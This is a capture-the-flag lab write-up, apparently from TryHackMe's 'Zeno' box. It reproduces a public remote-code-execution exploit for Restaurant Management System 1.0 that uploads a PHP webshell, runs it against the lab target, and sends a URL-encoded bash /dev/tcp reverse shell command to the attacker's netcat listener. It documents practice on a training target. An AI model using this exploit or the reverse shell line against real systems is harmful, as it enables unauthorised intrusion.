InfoSec LAB

Zeno_Exploitation

Created: 3 min read

RCE

The target web application appears to be vulnerable to a RCE vulnerability

┌──(kali㉿kali)-[~/archive/thm/zeno]
└─$ searchsploit -x php/webapps/47520.py     
  Exploit: Restaurant Management System 1.0 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47520
     Path: /usr/share/exploitdb/exploits/php/webapps/47520.py
    Codes: N/A
 Verified: False
File Type: ASCII text
 
# Exploit Title: Restaurant Management System 1.0  - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Ibad Shah
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/11815/restaurant-management-system.html
# Version: N/A
# Tested on: Apache 2.4.41
 
#!/usr/bin/python
 
import requests
import sys
 
print ("""
    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|
 
 
""")
print ("Credits : All InfoSec (Raja Ji's) Group")
url = sys.argv[1]
 
if len(sys.argv[1]) < 8:
	print("[+] Usage : python rms-rce.py http://localhost:80/")
	exit()
 
print ("[+] Restaurant Management System Exploit, Uploading Shell")
 
target = url+"admin/foods-exec.php"
 
 
 
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Length": "327",
    "Content-Type": "multipart/form-data; boundary=---------------------------191691572411478",
    "Connection": "close",
	"Referer": "http://localhost:8081/rms/admin/foods.php",
	"Cookie": "PHPSESSID=4dmIn4q1pvs4b79",
	"Upgrade-Insecure-Requests": "1"
 
}
 
data = """
 
-----------------------------191691572411478
Content-Disposition: form-data; name="photo"; filename="reverse-shell.php"
Content-Type: text/html
 
<?php echo shell_exec($_GET["cmd"]); ?>
-----------------------------191691572411478
Content-Disposition: form-data; name="Submit"
 
Add
-----------------------------191691572411478--
"""
r = requests.post(target,verify=False, headers=headers,data=data,
proxies={"http":"http://127.0.0.1:8080"})
 
 
print("[+] Shell Uploaded. Please check the URL : "+url+"images/reverse-shell.php")

Exploitation

┌──(kali㉿kali)-[~/archive/thm/zeno]
└─$ python3 rms-rce.py http://10.10.20.195:12340/rms/
 
    _  _   _____  __  __  _____   ______            _       _ _
  _| || |_|  __ \|  \/  |/ ____| |  ____|          | |     (_) |
 |_  __  _| |__) | \  / | (___   | |__  __  ___ __ | | ___  _| |_
  _| || |_|  _  /| |\/| |\___ \  |  __| \ \/ / '_ \| |/ _ \| | __|
 |_  __  _| | \ \| |  | |____) | | |____ >  <| |_) | | (_) | | |_
   |_||_| |_|  \_\_|  |_|_____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                             | |
                                             |_|
 
 
 
Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL : http://10.10.20.195:12340/rms/images/reverse-shell.php

Executing the exploit script

┌──(kali㉿kali)-[~/archive/thm/zeno]
└─$ curl -s http://10.10.20.195:12340/rms/images/reverse-shell.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

PHP webshell has been successfully uploaded

┌──(kali㉿kali)-[~/archive/thm/zeno]
└─$ curl -s http://10.10.20.195:12340/rms/images/reverse-shell.php?cmd=0%3C%26196%3Bexec%20196%3C%3E%2Fdev%2Ftcp%2F10.9.0.243%2F9999%3B%20bash%20%3C%26196%20%3E%26196%202%3E%26196

Sending a URL-encoded reverse shell command encoded

┌──(kali㉿kali)-[~/archive/thm/zeno]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.9.0.243] from (UNKNOWN) [10.10.20.195] 43290
whoami
apache
hostname
zeno
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:63:1d:74:7a:33 brd ff:ff:ff:ff:ff:ff
    inet 10.10.20.195/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 2650sec preferred_lft 2650sec
    inet6 fe80::63:1dff:fe74:7a33/64 scope link
       valid_lft forever preferred_lft forever

Initial Foothold established to the target system as the apache account via exploiting an unrestricted file upload vulnerability

Interactive Graph View

Backlinks